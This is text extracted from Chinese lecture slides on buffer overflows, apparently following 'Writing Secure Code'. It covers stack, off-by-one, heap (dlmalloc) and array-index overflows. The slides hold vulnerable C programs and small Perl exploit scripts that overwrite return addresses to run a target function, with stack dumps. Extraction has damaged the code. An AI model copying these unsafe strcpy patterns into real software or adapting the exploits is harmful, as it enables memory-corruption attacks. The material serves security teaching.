版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、第二章 缓冲区溢出 出现缓冲区溢出的主要原因是不良的编程习惯。其他原因包括C语言和C+语言为程序设计人员提供了许多不安全的编程方法,缺乏安全可靠、简便易行的字符串处理函数,对错误的实际后果的忽略。 堆栈溢出(也称静态缓冲区溢出)(*)如果向一个在栈的缓冲区复制数据,但是复制的数据量又比缓冲区大的时候,就会发生静态缓冲区溢出。在栈上声明的各种变量的位置就紧靠着函数调用程序的返回地址。通常出现的错误是用户输入的数据未经验证,就传递给strcpy这样的函数,产生的后果就是调用函数的返回地址将被攻击者选择的某个地址覆盖。在一个常规的攻击下,攻击者可以通过一个缓冲区溢出的应用程序来执行对他们有用的操作,
2、比如在他们选择的端口上绑定一个命令解释程序。第二章 缓冲区溢出堆栈溢出lIA32架构的堆栈。栈中除其他内容外,还存储了参数、缓冲区和函数的返回地址。在IA32的系统中,栈是向下增长的,变量按LIFO的方式压入栈里,最后压入站的数据最先弹出。Frame Pointer(EBP)Instruction Pointer(EIP)本地变量、缓冲区、其他寄存器等第二章 缓冲区溢出堆栈溢出l下图显示的是压入两个缓冲区后的栈。首先,缓冲区buf1进栈,然后,缓冲区buf2进栈。在向buf2缓冲区中写入的数据量超过了程序预期的大小,buf1会被buf2的数据覆盖。甚至栈的其他部分,包括指令指针(EIP)的值也
3、会被覆盖。EIP寄存器保存了函数的返回地址。所以恶意的用户可以通过调用这个函数选择任意一个想要的返回地址。Buf2512Buf1512Frame Pointer(EBP)Instruction Pointer(EIP)本地变量、缓冲区、其他寄存器等第二章 缓冲区溢出堆栈溢出l代码1/*StackOverrun.cThis program shows an example of how a stack-based buffer overrun can be used to execute an arbitrary code. Its objective is to find an input s
4、tring that executes the function bar.*/#include #include void foo(const char* input)char buf10;printf(“My stack looks like:n%pn%pn%pn%pn%pn%pnn”);strcpy(buf,input);printf(“%sn”,buf);printf(“Now the stack looks like :n%pn%pn%pn%pn%pn%pnn”);第二章 缓冲区溢出堆栈溢出l代码1(续)void bar(void)printf(“Augh! Ive been hack
5、ed!n”);int main(int argc, char* argv)printf(“Address of foo=%pn”,foo);printf(“Address of bar=%pn”,bar);if(argc!=2)printf(“Please supply a string as an argument!n”);return -1;foo(argv1);return 0;第二章 缓冲区溢出堆栈溢出l运行C:Secureco2Chapter03Stackoverrun.exe HelloAddress of foo=00401000Address of bar=00401045My
6、 stack looks like:00000000000000007FFDF0000012FF800040108AWe want to overwrite the return address for foo.00410EDEHelloNow the stack looks like:6C6C6568You can see where “Hello” was copied in.0000006F7FFDF0000012FF800040108A00410EDE第二章 缓冲区溢出堆栈溢出运行前后堆栈变化情况00000000000000007FFDF0000012FF800040108A00410
7、EDEfoo的bufEBP,main的栈底指针EIP,foo的返回地址0012FF80 ,main的栈底6C6C65680000006F7FFDF0000012FF800040108A00410EDE无缓冲区溢出第二章 缓冲区溢出堆栈溢出l运行C:Secureco2Chapter03Stackoverrun.exe AAAAAAAAAAAAAAAAAAAAAAAAAddress of foo=00401000Address of bar=00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410ECEAAA
8、AAAAAAAAAAAAAAAAAAAAANow the stack looks like:414141414141414141414141414141414141414141414141运行得到应用程序的错误信息,表明了地址位于0 x41414141的指令试图访问位于0 x41414141的内存。第二章 缓冲区溢出堆栈溢出运行前后堆栈变化情况00000000000000007FFDF0000012FF800040108A00410EDEfoo的bufEBP,main的栈底指针EIP,foo的返回地址0012FF80 ,main的栈底414141414141414141414141414141
9、414141414141414141缓冲区溢出,运行得到应用程序的错误信息,表明了试图访问地址位于0 x41414141的指令第二章 缓冲区溢出堆栈溢出l运行C:Secureco2Chapter03Stackoverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890Address of foo=00401000Address of bar=00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410EBEABCDEFGHIJKLMNOPQRSTUVWXYZ12345678
10、90Now the stack looks like:44434241484746454C4B4A49504F4E4D5453525158575655应用程序的出错信息显示出我们试图在0 x54535251处运行计算机指令。查看ASCII字符表,0 x54是字符T的编码,那就是需要我们修改的地方。第二章 缓冲区溢出堆栈溢出运行前后堆栈变化情况00000000000000007FFDF0000012FF800040108A00410EDEfoo的bufEBP,main的栈底指针EIP,foo的返回地址0012FF80 ,main的栈底44434241484746454C4B4A49504F4E4
11、D5453525158575655缓冲区溢出,运行得到应用程序的错误信息,表明了试图访问地址位于0 x54535251的指令,如此,可得到foo的返回地址的存放位置。第二章 缓冲区溢出堆栈溢出l运行C:Secureco2Chapter03Stackoverrun.exe ABCDEFGHIJKLMNOPQRSAddress of foo=00401000Address of bar=00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410ECEABCDEFGHIJKLMNOPQRSNow the stac
12、k looks like:44434241484746454C4B4A49504F4E4D0053525100410ECE通过改变用户的输入内容,我们可以控制在哪个地址运行下一条指令。下面我们用用户的输入来控制程序的流程!如果能够做到不输入QRS,取而代之输入0 x45、0 x10、0 x40,那么也就可以让bar函数运行。第二章 缓冲区溢出堆栈溢出编写如下名叫HackOverrun.pl的perl脚本$arg=“ABCDEFGHIJKLMNOP”.”x45x10 x40 x00”;$cmd=“StackOverrun “.$arg;system($cmd);运行上述脚本C:Secureco2
13、Chapter03perl HackOverrun.plAddress of foo=00401000Address of bar=00401045My stack looks like:77FB80DB77F94E687FFDF0000012FF800040108A00410ECAABCDEFGHIJKLMNOPE?Now the stack looks like:44434241484746454C4B4A49504F4E4D0040104500410ECAAugh! Ive been hacked!第二章 缓冲区溢出堆栈溢出运行前后堆栈变化情况00000000000000007FFDF0
14、000012FF800040108A00410EDEfoo的bufEBP,main的栈底指针EIP,foo的返回地址0012FF80 ,main的栈底44434241484746454C4B4A49504F4E4D0040104500410EDE缓冲区溢出,将foo的返回地址改为00401045。第二章 缓冲区溢出堆栈溢出lOff_by_One溢出代码2/*OffByOne*/#include #include Void foo(const char* in)char buf32;strncpy(buf,in,sizeof(buf);bufsizeof(buf)=0;printf(“%sn”,
15、buf);Void bar(const char* in)printf(“Augh! Ive been hacked!n”);int main(int argc, char* argv)if(argc!=2)printf(“Usage is %s stringn”,argv0);return -1;printf(“Address of foo is %p, address of bar is %pn”,foo,bar);foo(argv1);return 0;第二章 缓冲区溢出堆栈溢出编写如下名叫HackOverrun.pl的perl脚本$arg=“AAAAAAAAAAAAAAAAAAAAAA
16、AAAAAA”.”x40 x10 x40 x00”;$cmd=“OffByOne “.$arg;system($cmd);运行上述脚本C:Secureco2Chapter03perl OffByOne.plAddress of foo=00401000, address of bar=00401040AAAAAAAAAAAAAAAAAAAAAAAAAAAA?Augh! Ive been hacked!修改了调用函数的栈结构。利用Off_by_One溢出需要满足两个条件:首先,缓冲区的字节数要能被4整除。其次,需要对EBP现在指向的区域有所控制。第二章 缓冲区溢出堆栈溢出运行前后堆栈变化情况00
17、000000000000000012FF800040108A00410EDEfoo的bufEBP,main的栈底指针EIP,foo的返回地址0012FF80 ,main的栈底41414141004010400012FF000040104500410EDE缓冲区溢出,将main的栈底指针改为0012FF00,main返回后执行00401040处指令。0012FF00 第二章 缓冲区溢出堆溢出l堆是由程序使用且在运行时动态分配的内存区域。在堆内存空间上发生的缓冲区溢出的情况很普遍,对这类bug的利用与基于栈的缓冲区溢出不同。应用程序根据需要动态分配内存。内存分配通过调用函数malloc()来完成。
18、Malloc()函数调用需要一个参数指定分配的字节数,并且返回一个指针指向所分配的内存。textdataheapbssstack第二章 缓冲区溢出堆溢出lDoug Lea Malloc。 Doug Lea Malloc(dlmalloc)一般用在Linux操作系统上,它的设计使得堆溢出时可以被轻易地利用。在这个实现中,所有的堆内存都被组织成为“块”(chunk),这些块包含了dlmalloc有效分配和释放内存所需要的信息。Prev_size元素用于保存当前块的上一个块的大小,但是仅当上一个块尚未分配是起作用。如果上一个块已经被分配了,则prev_size不再表示大小,而是被当成数据元素,以节约
19、4个字节。Size元素用于保存当前所分配的块的大小。不过,当调用malloc()时,会把长度参数加上4,然后再对齐到下一个双字边界。Size域的最低一位对于exploit最为重要,这个位用作PREV_INUSE标志,它指示前一个块是否已经分配。Data元素就是malloc()返回的指针指向的所分配的内存空间。这块内存空间用来复制数据并由程序所使用。这部分内存可以由程序员使用内存管理函数进行直接操作,如memcpy函数和memset函数。prev_sizesizedata第二章 缓冲区溢出堆溢出l当使用free()将data释放以后,内存块将会重新调整。Dlmalloc的实现会首先检查临近的块是
20、否已经释放,如果已释放,则将邻近的块与当前块合并成为一个更大的空闲块。Free()函数释放一块内存以后,内存块的结构发生变化。先前使用的内存的前8个字节将会被两个指针替代,分别是fd和bk。这两个指针分别代表forward和backward,用来指向一个由尚未分配的块所构成的双向链表。Dlmalloc实现中的固有问题在于内存块的管理信息与数据存放在一起。如果一个已分配的内存块溢出并覆盖了下一个块及其管理信息,系统就会被恶意破坏。Prev_sizesizefdbkUnused memory第二章 缓冲区溢出堆溢出代码/*HeapOverrun.cpp*/#include #include #in
21、clude class BadStringBufpublic :BadStringBuf(void)m_buf=NULL;BadStringBuf(void)if(m_buf!=NULL) free(m_buf);void Init(char* buf)m_buf=buf;void SetString(const char* input)strcpy(m_buf,input);const char* GetString(void)return m_buf;private:char* m_buf;第二章 缓冲区溢出堆溢出代码BadStringBuf* g_pInput=NULL;void bar
22、(void)printf(“Augh! Ive been hacked!);void BadFunc(const char* input1, const char* input2)char* buf=NULL;char* buf2;buf2=(char *)malloc(16);g_pInput=new BadStringBuf;buf=(char*)malloc(16);g_pInput-Init(buf2);strcpy(buf,input1);g_pInput-SetString(input2);printf(“input 1=%sn input 2=%sn”,buf,g_pInput-
23、GetString();if(buf!=NULL) free(buf);第二章 缓冲区溢出堆溢出代码int main(int argc, char* argv)char arg1128;char arg24=0 x0f,0 x10,0 x40,0;int offset=0 x40;memset(arg1,0 xfd,offset);arg1offset=(char)0 x94;arg1offset+1=(char)0 xfe;arg1offset+2=(char)0 x12;arg1offset+3=0;arg1offset+4=0;printf(“Address of bar is %pn”
24、,bar);BadFunc(arg1,arg2);if(g_pInput!=NULL)delete g_pInput;return 0;第二章 缓冲区溢出堆溢出Buf2EBPEIPbuf2bufm_buf0012FE94main的栈底指针BadFunc返回地址BadFunc执行g_pInput-Init(buf2)后栈和堆的情况,将m_buf指向buf2Offset=0 x40第二章 缓冲区溢出堆溢出FDFDFDFD0012FE94EBPEIPbuf2bufm_buf0012FE94BadFunc执行strcpy(buf,input1)后栈和堆的情况,第二章 缓冲区溢出堆溢出FDFDFDFD0
25、012FE94EBP0040100F(EIP)buf2bufm_buf0012FE94BadFunc执行g_pInput-SetString(input2)后栈和堆的情况第二章 缓冲区溢出数组下标错误数组索引错误比起缓冲区溢出来说,出现的比较少一些,但是它总的来说是一回事,一个字符串也正好是一个字符数组,显而易见其他类型的数组也可以写入任意的内存位置。/*ArrayIndexError.cpp*/#include #include Int* IntVector;Void bar(void)printf(“Augh! Ive been hacked!”);Void InsertInt(unsigned long index, unsigned long value)printf(“Writing Memory at %pn”,&(IntVectorindex);IntVectorindex=value;Bool InitVector(
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 施工现场闸机设置标准
- 施工现场施工防高空坠物制度
- 阅读启迪心灵小学生的成长之路
- 母婴用品销售中的用户体验优化策略汇报
- 清明节扫墓应急预案
- 预防为主早期小儿肺炎识别与护理措施
- DB4415T 55-2025香芋南瓜-紫云英-香芋南瓜轮作生产技术规程
- 交通监控项目工程合同
- 上海市大数据中心计算机信息系统集成合同
- 个人小额信贷合同范本
- 渠道管理就这样做
- 大客户销售这样说这样做
- 精装修样板房房屋使用说明
- 乔迁新居结婚典礼主持词
- 小学四年级数学竞赛试题(附答案)
- 鲁科版高中化学必修2全册教案
- 《病理学基础》知识考核试题题库与答案
- 人口分布 高一地理下学期人教版 必修第二册
- 部编版六年级下册语文第3单元习作例文+习作PPT
- 四年级上册英语试题-Module 9 Unit 1 What happened to your head--外研社(一起)(含答案)
- 子宫内膜异位症诊疗指南
评论
0/150
提交评论